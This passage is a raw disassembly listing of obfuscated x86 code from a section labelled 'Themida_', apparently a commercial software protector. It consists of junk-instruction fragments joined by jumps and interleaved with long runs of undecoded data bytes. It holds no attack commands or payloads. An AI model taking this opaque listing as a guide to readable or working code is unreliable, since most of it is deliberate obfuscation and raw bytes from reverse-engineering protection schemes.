loc_5627E6:				; CODE XREF: Themida_:00558597j
		add	esp, 4
		add	ecx, edi
		mov	[ecx], al
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55E92E
; ---------------------------------------------------------------------------


loc_5627F6:				; CODE XREF: Themida_:0055CBA5j
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, ebx
		jmp	loc_555580
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 2C181h, 0C330000h, 240C3124h, 0FF839EE9h,	5FF989FFh
		dd 0BB53D1F7h, 0FCA22EBh, 815BD929h, 2E0506C3h,	81CB0159h
		dd 2E0506EBh, 2434FF59h, 0FF8989E9h, 4C481FFh, 81000000h
		dd 4C4h, 34DAE900h, 9D2C0000h, 0FFCEABE9h, 4BEFFh, 74010000h
		dd 5B5E0424h, 4C381h, 1E90000h,	31FFFFD5h, 24048BC6h, 8304C483h
		dd 0EEC1FFEEh, 2B95106h, 837CBD34h, 70E904ECh, 38FFFF95h
		dd 0A9E99CC1h, 68FFFF03h, 77C0h, 0F7240C89h, 57592414h
		dd 0DE3354BFh, 4A2FE943h, 0C3810000h, 4, 0E904C383h, 0FFFFAD19h
		dd 423FC281h, 2C8B1137h, 4C48124h, 83000000h, 143304C2h
		dd 24143124h, 5C241433h, 0FF5EC4E9h, 0B8FFh, 0F12D0000h
		dd 0E9447C1Ah, 0FFFFE7CEh, 56A3C681h, 0CE813F64h, 7C4B5EAFh
		dd 22D1E681h, 0C6811A34h, 5BDB0615h, 0FFCCB9E9h, 5BDE89FFh
		dd 354DC681h, 0E6815666h, 2A480A4Ch, 840EE81h, 0C5810848h
		dd 742F0704h, 0ED81F501h, 742F0704h, 0FF0E6FE9h, 55D9F7FFh
		dd 645AB7BDh, 81DDF755h, 74076EF5h, 5C81E918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56293E:				; CODE XREF: Themida_:00562549j
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 51h,	68h, 0C4h
		dd 594EB307h, 0FFB928E9h, 3DF781FFh, 810B436Eh,	0C00C0FE7h
		dd 88F7815Eh, 292F6E5Fh, 0F74A5FFAh, 19F3E9D2h,	0FB010000h
		dd 1C8B038Bh, 4C48324h,	0E4FE9h
		db 0
; ---------------------------------------------------------------------------


loc_562985:				; CODE XREF: Themida_:005567FEj
		push	ebp
		mov	ebp, esp
		jmp	loc_567845
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 6DFE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562996:				; CODE XREF: Themida_:00553ACAj
		shr	bl, 1
		jmp	loc_5614DA
; ---------------------------------------------------------------------------


loc_56299D:				; CODE XREF: Themida_:00552D3Ej
		shr	edi, 3
		jmp	loc_553914
; ---------------------------------------------------------------------------


loc_5629A5:				; CODE XREF: Themida_:005567BAj
		pop	eax
		add	eax, 57454CD9h
		add	eax, 60760345h
		inc	eax
		xor	eax, 5F502B5Dh
		sub	ebx, eax
		pop	eax
		add	ebx, 66B34661h
		add	ebx, eax
		sub	ebx, 66B34661h
		add	ebx, 36807E5h
		push	191Ah
		mov	[esp], edi
		push	ebp
		mov	ebp, 253139BBh
		mov	edi, 5BBA547Dh
		xor	edi, ebp
		pop	ebp
		shr	edi, 1
		push	5C9Fh
		mov	[esp], edx
		push	44FC4378h
		jmp	loc_56734A
; ---------------------------------------------------------------------------
		db 68h
		dd 231Dh, 83243C89h, 248904ECh,	24048324h, 243C8B04h, 4C481h
		dd 89510000h, 4C181E1h,	55000000h, 0FF6CA7E9h, 4CE950FFh
		dd 81FFFFDBh, 0DA994AF5h, 5DEA29EDh, 0FFC699E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A35:				; CODE XREF: Themida_:00558FE6j
		pop	edi
		pop	ebx
		jmp	loc_5646B7
; ---------------------------------------------------------------------------
		dd 6824048Bh, 790Ah, 0FFEC74E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A49:				; CODE XREF: Themida_:00556593j
		pop	esp
		mov	[esp], edi
		push	1
		jmp	loc_5602DA
; ---------------------------------------------------------------------------
		db 81h
		dd 19AF3BC6h, 8BF529A8h, 0EAE92434h, 0B9FFFF65h, 3EF4234Fh
		dd 23F5F181h, 0E9814794h, 738879E9h, 0B001C181h, 0CF096F5Fh
		dd 0F833E959h, 50ADFFFFh, 0DB7EE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A8E:				; CODE XREF: Themida_:005544C7j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 77011262h
		jmp	loc_55A835
; ---------------------------------------------------------------------------
		dw 5066h
		dd 0FF3BBDE9h, 24248BFFh, 0B6BD5550h, 17FC730h,	0FF04246Ch
		dd 555D2434h, 0E9535D54h, 0FFFFAF35h
; ---------------------------------------------------------------------------


loc_562AC0:				; CODE XREF: Themida_:0055304Dj
		mov	ebx, 4
		jmp	loc_56403A
; ---------------------------------------------------------------------------
		dw 5159h
		dd 0FFDAFAE9h, 8B585BFFh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	bl, ch
		mov	[eax], bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	16E3h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_559FB7
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 36384870h, 0DEF7D6F7h, 0F2B3EE81h, 0F331C059h, 7FBE565Eh
		dd 29000134h, 0E9505EF3h, 0FFFF9FF1h, 8DD9E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B36:				; CODE XREF: Themida_:00566E12j
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_5594CA
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0EC83E589h, 24348904h, 42F268h, 241C8900h, 65272768h
		dd 241C8B06h, 0E904C483h, 0FFFFFD99h
; ---------------------------------------------------------------------------


loc_562B68:				; CODE XREF: Themida_:005547F9j
		dec	edx
		add	edx, 39880D73h
		add	edx, 7AEA1C1Ch
		jmp	loc_561FB4
; ---------------------------------------------------------------------------
		dw 8758h
		dd 815C241Ch, 4C1h, 5C3D6800h, 2C890000h, 2BD24h, 4AE90000h
		dd 54FFFFC3h, 4C3815Bh,	0E9000000h, 0FFFFE1D9h,	59CE015Eh
		dd 8B243487h, 0C8E92424h
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562BB3:				; CODE XREF: Themida_:0056091Fj
		and	ecx, ebp
		jmp	loc_55B74B
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 56243C89h, 0C62A48BEh, 5EF78908h,	0C15FF921h, 0F18106E1h
		dd 2E394FB3h, 81E9CF01h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562BDF:				; CODE XREF: Themida_:0055FE49j
		mov	eax, esp
		jmp	loc_5566AD
; ---------------------------------------------------------------------------
		dw 0C331h
		dd 0FF6A1CE9h, 48B66FFh, 6C146824h, 4890000h, 7BE95424h
		dd 55FFFF16h, 0A529ECBDh, 4DDDF752h, 0FF4AE0E9h, 44CDBBFFh
		dd 0FBE91129h, 5FFFFFEBh, 0FF8FCDE9h, 53AE68FFh, 4890000h
		dd 0B5685124h, 0FF4E935Fh, 83592434h, 0BA5204C4h, 80F70BFh
		dd 9749C281h, 8AE936A1h, 89000052h, 0B1685DE9h,	8900004Fh
		dd 0E956240Ch, 0FFFF5C45h, 42474FFh, 24048F5Bh,	6B77E95Ch
		dd 77FFFFFFh, 19589D1Ch, 0E99C2404h, 0FFFEFFC8h, 0E906B551h
		dd 2DC1h, 295EF029h, 4B6E68D8h,	2C890000h, 3EB4BD24h, 440532A7h
		dd 160CB33h, 33442DE8h,	0BAE960CBh, 0AD000009h,	67B46850h
		dd 2C890000h, 67F0BD24h, 0F5811AEDh, 843339Ah, 194BC581h
		dd 585562A3h, 0FFD7A2E9h, 241489FFh, 642912BAh,	3B15B904h
		dd 0D131686Ch, 0FF6D2CE9h, 13EE81FFh, 0E94E135Eh, 0D0h
		dd 52243489h, 0DF30BBBAh, 4888E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562CEA:				; CODE XREF: Themida_:0055B2EAj
		push	6BB519B9h
		pop	ebx
		shl	ebx, 3
		add	ebx, 0CB2A5BEFh
		jmp	loc_55EF5B
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFF7BFEh, 3D5868h,	6B07E900h, 0EC81FFFFh, 4, 0B6241489h
		dd 8012B4CCh, 39E94BC4h, 0FEFFFF00h, 70A668CFh,	4890000h
		dd 80AAB424h, 0EC308BECh, 0FFDB93E9h, 24148BFFh, 4C481h
		dd 0AAE90000h, 5A00002Eh, 2774BA52h, 0F2810B9Dh, 15147425h
		dd 0FFFFBD55h, 0C281FFFFh, 34456442h, 0EA81EA29h, 34456442h
		dd 0FF3E12E9h, 0E18159FFh, 378870ABh, 63E9D9F7h, 0FFFFFF78h
		dd 0C8B2434h, 33E95324h, 100000Bh, 0C1815DE9h, 4, 2474FF51h
		dd 0AEE95904h, 55FFFFF2h, 0BF085168h, 0C1EEE938h, 0E958FFFFh
		dd 53Fh, 24343358h, 33243431h, 895C2434h, 27BB241Ch, 5246385Eh
		dd 813841BAh, 0B85033h,	0E9000000h, 0FFFF3527h,	0A504DF04h
		dd 46E045Bh, 91B652D9h,	0FFCA7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562DE1:				; CODE XREF: Themida_:0055926Cj
		sub	bl, 56h
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_564565
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	68522414h, 6C704EA4h
		dd 2454295Ah, 525E5A04h, 89433BBAh, 0AEA8138h, 0E90A0049h
		dd 0FFFFEFC9h, 0E95AD501h, 0FFFF0613h
; ---------------------------------------------------------------------------


loc_562E38:				; CODE XREF: Themida_:005618FBj
		mov	ebp, 62364369h
		jmp	loc_5590B3
; ---------------------------------------------------------------------------
		dw 3487h
		dd 24248B24h, 0FEFDEBE9h, 0E9DAF7FFh, 0FFFFCD71h, 4BF57h
		dd 71E90000h, 55FFFF2Ch, 206E97BDh, 0E9DDF743h,	0FFFF74DDh
		dd 81E38953h, 4C3h, 0C10E900h, 0BF570000h, 3C7603C9h, 501C68h
		dd 5A9BE900h, 34FFFFFFh, 808EE924h, 74FFFFFFh, 34FF0424h
		dd 24048B24h, 4C481h, 54570000h, 0FF2342E9h, 5E5456FFh
		dd 0FF1AA4E9h, 240C33FFh, 33E7685Ch, 0C890000h,	4EC8124h
		dd 89000000h, 8850241Ch, 58C388D0h, 5A868h, 24048900h
		dd 0FF187AE9h, 0F6C688FFh, 5AF088D6h, 0BBB23704h, 0FFDCBEE9h
		dd 4C483FFh, 0DA68D829h, 89000004h, 9ABF243Ch, 1165C4Dh
		dd 8B3EE9F8h, 335DFFFFh, 14312414h, 24143324h, 0FF417BE9h
		dd 3A568FFh, 1C890000h,	27685624h, 0E9769133h, 0FFFF3B85h
		dd 1149B951h, 0C829628Ch, 81240C8Bh, 4C4h, 0C12D5900h
		dd 5608117Dh, 907CAFBEh, 44D0E905h, 0EF83FFFFh,	4EC8304h
		dd 0FF243C89h, 0E9042474h, 0FFFF79D9h
; ---------------------------------------------------------------------------


loc_562F58:				; CODE XREF: Themida_:0055E324j
		push	edi
		mov	edi, 16AE3C16h
		push	ebx
		mov	ebx, 51D40083h
		dec	ebx
		jmp	loc_55D08B
; ---------------------------------------------------------------------------
aIiiSG		db '‰ë‰ßé',0Ah
		db 'G',0
		dw 5100h
		dd 73235EB9h, 9022E97Ch, 433FFFFh, 24043124h, 0FEFCAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562F89:				; CODE XREF: Themida_:00559F53j
		pop	esi
		or	eax, eax
		jmp	loc_55D72C
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 81241489h, 197B242Ch, 0F6E9216Ch, 1FFFFC5h, 9EE95DEFh
		dd 1FFFF15h, 13DC05D8h,	0F4E90C1Dh, 88FFFFF6h, 865B66D8h
		dd 0DC09E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562FC2:				; CODE XREF: Themida_:0055A818j
		sub	al, cl
		sub	al, 5
		jmp	loc_55C442
; ---------------------------------------------------------------------------
		db 1
		dd 1C875EF3h, 24248B24h, 8868E1F7h, 89000071h, 9C502414h
		dd 0FEFC53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562FE5:				; CODE XREF: Themida_:0056422Dj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	ebp
		mov	ebp, 31EA7FD4h
		jmp	loc_5675C8
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 220C942Dh, 7570E920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563016:				; CODE XREF: Themida_:0055B9D8j
		add	ecx, 0FFFFFFFFh
		neg	ecx
		xor	ecx, 0FFB919B4h
		add	ebx, 26E275E0h
		add	ebx, 1EA8318Fh
		add	ebx, ecx
		sub	ebx, 1EA8318Fh
		sub	ebx, 26E275E0h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55A87B
; ---------------------------------------------------------------------------
		db 68h,	0A4h, 37h
		dd 2C890000h, 4BD24h, 0EE810000h, 1C83120Ah, 0B73C681h
		dd 0EE01010Ah, 1410E9h
		db 0
; ---------------------------------------------------------------------------


loc_563069:				; CODE XREF: Themida_:0055D5B9j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55C9A7
; ---------------------------------------------------------------------------
		dw 5542h
		dd 16C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_56307D:				; CODE XREF: Themida_:0055E03Aj
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_559AEA
; ---------------------------------------------------------------------------


loc_563087:				; CODE XREF: Themida_:0055C185j
		pop	ebp
		jmp	loc_55A9D7
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0C5h
		dd 816D232Fh, 0FBC9C0F1h, 8BCF0148h, 16E9240Ch
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5630A3:				; CODE XREF: Themida_:00563D7Ej
		push	edx
		jmp	loc_554D34
; ---------------------------------------------------------------------------


loc_5630A9:				; CODE XREF: Themida_:00564196j
		push	75B1h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_564727
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 0E9582434h, 0FFFFFDD5h
; ---------------------------------------------------------------------------


loc_5630D4:				; CODE XREF: Themida_:0055433Ej
		sub	eax, 1DCE05AFh
		sub	eax, edi
		add	eax, 1DCE05AFh
		jmp	loc_55A54A
; ---------------------------------------------------------------------------
		db 0BDh, 14h, 70h
		dd 0E9014E03h, 0FF49B2E9h, 4C581FFh, 83000000h,	0E2E904C5h
		dd 0C1FFFF3Eh, 0E94205E2h, 0FFFF1F38h, 4BBh, 5BD80100h
		dd 5C240487h, 71A68h, 243C8900h, 0FFBCBFE9h, 240C89FFh
		dd 370043B9h, 4B5CE92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56312E:				; CODE XREF: Themida_:0055F7DDj
		xor	eax, edi
		pop	edi
		and	ebx, eax
		pop	eax
		push	edx
		mov	edx, 6CD969A9h
		add	edx, 6400840h
		not	edx
		xor	edx, 0A6BC88A5h
		sub	edx, 49910A61h
		shr	edx, 7
		push	esi
		mov	esi, 0C985286h
		add	esi, 5AB35A3h
		add	esi, 38FE7E49h
		and	edx, esi
		jmp	loc_55E9FF
; ---------------------------------------------------------------------------
		dw 6ABAh
		dd 8128E270h, 3649A8C1h, 57D12920h, 3649A8BFh, 0B4B5E920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563182:				; CODE XREF: Themida_:0055501Bj
		add	[esp+4], edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_565CB2
; ---------------------------------------------------------------------------
		dd 2404895Ch, 0D7B6B7B4h, 34FFE628h, 0EC835824h, 241C8904h
		dd 5652E389h, 4041BEh, 8BF2890Ah, 0C4832434h, 4AD2F704h
		dd 5406CA81h, 0E94A28FAh, 0FFFF45C7h, 0E9243C87h, 0FFFFDD31h
		dd 5104C483h, 0C181E189h, 4, 4E981h, 0FF510000h, 0E9042474h
		dd 0FFFF10BAh
; ---------------------------------------------------------------------------


loc_5631FC:				; CODE XREF: Themida_:00553ECAj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_557C04
; ---------------------------------------------------------------------------
		db 81h
		dd 0DE1E53EBh, 84EB8132h, 1757665h, 188E9C3h, 0E95EFFFFh
		dd 1B0Ah
; ---------------------------------------------------------------------------


loc_563220:				; CODE XREF: Themida_:00565DC2j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	437Fh
		jmp	loc_555297
; ---------------------------------------------------------------------------
aRs_2		db 'RS³=²]',0
		db 0DAh
		dd 80DAF65Bh, 0F280F3CAh, 7E2C07Fh, 4EC81h, 0C890000h
		dd 0E9FFB524h, 3BBFh, 24BD5546h, 810E2C6Ch, 0F50933EDh
		dd 1C2DE908h, 15FFFFFh,	0EC815FFBh, 4, 68240489h, 4F16h
		dd 0FF06B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563281:				; CODE XREF: Themida_:00563C95j
		add	edi, esi
		add	edi, 71052828h
		pop	esi
		jmp	loc_55E30D
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 42474FFh, 0FEFA6CE9h, 0E08950FFh, 405h
		dd 40500h, 89E90000h, 89FFFF7Fh, 4C381E3h, 83000000h, 0DBE902C3h
		dd 68FFFFEDh, 0FB0h, 55241489h,	5E768E68h, 0E8F5E931h
		dd 9D68FFFFh, 89000039h, 5D54242Ch, 4C581h, 1CE90000h
		dd 30000043h, 30E830C5h, 86D8F6C5h, 0B2B050C5h,	0F886BA04h
		dd 2FC6E9h, 5B545300h, 4C381h, 0C3810000h, 4, 0FFCB4CE9h
		dd 0E5905FFh, 0D0E92827h, 89FFFFF2h, 0A5B62414h, 0FFA4E9E9h
		dd 81D9F7FFh, 83D290F1h, 8BF10104h, 97E92434h, 68FFFF81h
		dd 0C9h, 56241489h, 4BEh, 5EF28900h, 148BD001h,	4C48324h
		dd 5004C083h, 42474FFh,	8124048Bh, 4C4h, 24048F00h, 2404015Ch
		dd 0F8C6E99Ch, 0BE56FFFEh, 2FDF34ADh, 895EF731h, 0ABE9307Ah
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563383:				; CODE XREF: Themida_:0056201Aj
		sub	esi, 58F263EBh
		push	ebp
		mov	ebp, 315F9EC9h
		add	esi, 1052536Dh
		sub	esi, ebp
		push	edi
		push	ebp
		mov	ebp, 4D6C2ED8h
		mov	edi, ebp
		pop	ebp
		and	edi, 47CB2541h
		shl	edi, 4
		jmp	loc_56561A
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0BDE9EF01h, 0BEFFFF8Bh, 5DC25556h, 8105E6C1h, 0A20660EEh
		dd 0BE25E966h, 0EC81FFFFh, 4, 0B1240C89h, 8852534Bh, 5AD788CAh
		dd 595BF888h, 6658C128h, 30C7B252h, 148B66D1h, 152FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5633F6:				; CODE XREF: Themida_:00552E37j
		add	edi, esi
		jmp	loc_55FF33
; ---------------------------------------------------------------------------


loc_5633FD:				; CODE XREF: Themida_:00564770j
		pop	edi
		push	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_555CD3
; ---------------------------------------------------------------------------


loc_563417:				; CODE XREF: Themida_:0055A613j
		add	edi, 4
		jmp	loc_557308
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 5C45h, 0FFA0D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56342D:				; CODE XREF: Themida_:00555331j
		or	ah, 0A0h
		add	ah, 1
		shl	ah, 8
		add	ah, 6Ah
		jmp	loc_559B57
; ---------------------------------------------------------------------------
		dw 2F2Dh
		dd 0C17AE25Eh, 0E12D07E8h, 0F73C320Bh, 2418E9D8h, 0E9590000h
		dd 0FFFFA860h, 22FE1BBh, 81DBF75Fh, 14707EBh, 0B8F38170h
		dd 8116E755h, 0EE0785CBh, 0AACB815Fh, 8171DB38h, 6DEBEFC3h
		dd 3C9CE98Dh, 4DBDFFFFh, 295B633Eh, 5D08246Ch, 2C8FE9h
		dd 4055F00h, 0E9000000h, 0FFFFAC98h, 240C8B66h,	2C481h
		dd 52660000h, 0D30029B2h, 0B60F5A66h, 87048FC0h, 0FF88D7E9h
		dd 4C483FFh, 8B243487h,	0C0E92424h, 66FFFFF3h, 44CF805Ah
		dd 80AECF80h, 0FD888CC7h, 0A7E5E95Bh, 0DBF6FFFFh, 0FE03EBC0h
		dd 25EB80CBh, 0E9EFF380h, 0FFFFB4D0h, 4EC8158h,	89000000h
		dd 32BD242Ch, 0C10B6213h, 13E903E5h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563503:				; CODE XREF: Themida_:005589B0j
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 4A396F66h
		jmp	loc_557BFD
; ---------------------------------------------------------------------------


loc_563516:				; CODE XREF: Themida_:00553839j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C240Ch, 3086h
; ---------------------------------------------------------------------------


loc_56352C:				; CODE XREF: Themida_:00566ADBj
		sub	eax, 8A56EFE6h
		xor	ebx, eax
		jmp	loc_5533D4
; ---------------------------------------------------------------------------
		dd 315EF501h, 582D5DEEh, 1348076h, 22E953F0h, 8B000044h
		dd 0C481241Ch, 4, 0E893E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56355A:				; CODE XREF: Themida_:00553A04j
		pop	edx
		dec	ebx
		not	ebx
		xor	ebx, 0FAD69BBCh
		push	ebx
		mov	ebx, 32A978B1h
		jmp	loc_55F0FA
; ---------------------------------------------------------------------------


loc_56356F:				; CODE XREF: Themida_:00565F60j
		sub	dh, 0AEh
		dec	dh
		push	ecx
		mov	cl, 22h
		sub	cl, 1
		neg	cl
		xor	cl, 23h
		xor	cl, 5Ah
		jmp	loc_56632E
; ---------------------------------------------------------------------------
		db 0B7h
		dd 8E7C0E0h, 0FEFFEF80h, 80DFF6C7h, 0C680B8C7h,	80FE2891h
		dd 805B91EEh, 0C38090EBh, 80F3288Ch, 0C3808CEBh, 0EB805A90h
		dd 51C30028h, 0CB0028B1h, 81240C8Bh, 4C4h, 3CC38000h, 4EC81h
		dd 0C890000h, 4EC8124h,	89000000h, 0BA52243Ch, 7CC617F1h
		dd 3306E952h, 0EC83FFFFh, 24048904h, 468h, 0D5E95800h
		dd 0D1000010h, 81DEF7E6h, 5148FEEEh, 3032E98Ah,	685EFFFFh
		dd 2A54h, 52240C89h, 0CA06E568h, 0C2815A2Eh, 0D135F91Bh
		dd 815AD189h, 0D53DCAE9h, 81D90107h, 0D53DCAC1h, 3E63E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56362E:				; CODE XREF: Themida_:0055DF43j
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, [esp]
		pop	edx
		push	eax
		push	1D87h
		jmp	loc_558236
; ---------------------------------------------------------------------------


loc_563641:				; CODE XREF: Themida_:00566B8Fj
		push	ebp
		jmp	loc_558C95
; ---------------------------------------------------------------------------
aYh		db 'Yh¸',0Dh,0
		dd 240C8900h, 0FFBCDAE9h, 2434FFFFh, 421BE9h, 241C8900h
		dd 0FA88CF88h, 0FF0F19E9h, 81E789FFh, 4C7h, 0F8FDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563676:				; CODE XREF: Themida_:0055B438j
		xor	al, dh
		pop	edx
		push	ecx
		mov	cl, 70h
		dec	cl
		add	cl, 96h
		sub	al, cl
		pop	ecx
		sub	al, 1Dh
		xor	dh, al
		pop	eax
		xor	dh, 8Ah
		jmp	loc_566321
; ---------------------------------------------------------------------------
		db 1, 0E8h, 2Dh
		dd 5B55781Dh, 5BDB055Dh, 0C8011125h, 5408BB53h,	0E3815104h
		dd 62F77DBEh, 0FBBA5243h, 0F7761D41h, 0C7EA81D2h, 0E92E3915h
		dd 4539h, 6505A7B8h, 95E9484Eh,	66FFFF61h, 0B4505153h
		dd 0E9E1886Ah, 126Fh, 8904EC83h, 0EB682434h, 89000018h
		dd 4832424h, 525E0424h,	0FFDBCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5636F1:				; CODE XREF: Themida_:0055558Bj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55DCD3
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2434FF24h, 0FF6AACE9h, 8BEB89FFh, 0C481242Ch, 4, 7FE9DE01h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56371B:				; CODE XREF: Themida_:0055FAF1j
		push	dword ptr [esp]
		jmp	loc_5567FD
; ---------------------------------------------------------------------------


loc_563723:				; CODE XREF: Themida_:00556B17j
		or	eax, eax
		jz	loc_552E56
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, 0F217505h
		sub	esi, 339036A8h
		shr	esi, 1
		jmp	loc_55C67D
; ---------------------------------------------------------------------------


loc_56375F:				; CODE XREF: Themida_:0055CCCEj
		sub	[esp+4], edx
		sub	dword ptr [esp+4], 4BAB7E16h
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4F0F1E0Ah
		sub	esi, 274E619Ah
		push	ebp
		mov	ebp, 5A75AFEh
		not	ebp
		jmp	loc_5577E0
; ---------------------------------------------------------------------------


loc_56378B:				; CODE XREF: Themida_:0055C3B3j
		mov	[esp], edx
		mov	edx, 6E1C43F3h
		xor	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		push	ebx
		push	ebp
		mov	ebp, 9E8444Bh
		jmp	loc_5656BC
; ---------------------------------------------------------------------------
		dd 4C581h, 0ED810000h, 4, 5C242C87h, 51243C89h,	10F2E9h
		dd 54316800h, 48B1620h,	4C48124h, 0E9000000h, 0FFFF742Ah
		dd 4EC81h, 3C890000h, 4EC8124h,	89000000h, 27BD242Ch, 816D0305h
		dd 4ECh, 240C8900h, 17D96853h, 0C15B38B2h, 0EBC106E3h
		dd 78EB8104h, 0E9C85BF1h, 3F85h
; ---------------------------------------------------------------------------


loc_56380C:				; CODE XREF: Themida_:0055B630j
		pop	ebx
		xor	edx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_557873
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 1C875AD3h,	24248B24h, 784A68h, 242C8900h
		dd 2FB85056h, 816B0A20h, 4ECh, 243C8900h, 329FBB53h, 0D3F750D7h
		dd 0EBC1D3F7h, 8BD5503h, 0E918A62Ah, 0FFFFA9ABh, 66505566h
		dd 6630C8B8h, 6658C589h, 0D1E9EA29h, 46FFFFC7h,	55D4E681h
		dd 0E9531DB1h, 0FFFF89A9h, 0C24E981h, 0CF296094h, 81240C8Bh
		dd 4C4h, 74FF5700h, 8F5F0424h, 0E95C2404h, 0FFFFEDA1h
		dd 5324048Bh, 0C381E389h, 4, 0CAF8E952h, 5B54FFFFh, 0FFEFE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5638C1:				; CODE XREF: Themida_:0055F53Aj
		mov	eax, [esp]
		add	esp, 4
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 0EC55000h
		jmp	loc_5589B5
; ---------------------------------------------------------------------------
		db 58h,	5, 4
		dd 0E9000000h, 3AFEh, 5B2434FFh, 509668h, 243C8900h, 0BB53E789h
		dd 511C0B36h, 0FFA8CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56390D:				; CODE XREF: Themida_:0056147Fj
		push	esi
		mov	esi, 730B4C19h
		or	esi, 2BCE6068h
		or	esi, 36715EECh
		jmp	loc_561DB1
; ---------------------------------------------------------------------------
		dd 57241489h, 0FF846FE9h, 2DD029FFh, 443836C9h,	0D36C6205h
		dd 4875A7Eh, 482EE924h,	0BE560000h, 53942099h, 15EF029h
		dd 209905C8h, 52D5394h,	8B722932h, 0C481240Ch, 4, 0E9240433h
		dd 19C6h, 5A2434FFh, 4C481h, 1C870000h,	71E95C24h, 8BFFFF0Ah
